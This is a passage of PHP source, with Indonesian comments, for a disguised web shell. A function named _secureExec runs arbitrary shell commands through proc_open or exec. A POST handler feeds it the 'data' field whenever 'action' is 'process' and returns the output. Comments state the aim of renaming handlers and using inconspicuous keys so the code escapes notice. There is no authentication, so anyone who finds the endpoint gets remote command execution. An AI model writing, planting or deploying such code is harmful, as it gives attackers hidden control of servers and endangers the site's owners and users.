/dev/null && $cmd 2>&1"; $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = @proc_open($fullCmd, $descriptorspec, $pipes); if (is_resource($process)) { $stdout = stream_get_contents($pipes[1]); $stderr = stream_get_contents($pipes[2]); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); $result = empty($stderr) ? $stdout : "Error: $stderr"; } else { // Fallback dengan cara lain jika proc_open gagal $result = @exec($fullCmd); if ($result === false || $result === null) { $result = "Command execution failed"; } } return $result; } // Ganti nama handler request if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Gunakan key yang tidak mencolok $action = isset($_POST['action']) ? $_POST['action'] : ''; $data = isset($_POST['data']) ? $_POST['data'] : ''; if ($action === 'process') { $output = _secureExec($data); echo htmlspecialchars($output, ENT_QUOTES, 'UTF-8'); exit; } } ?>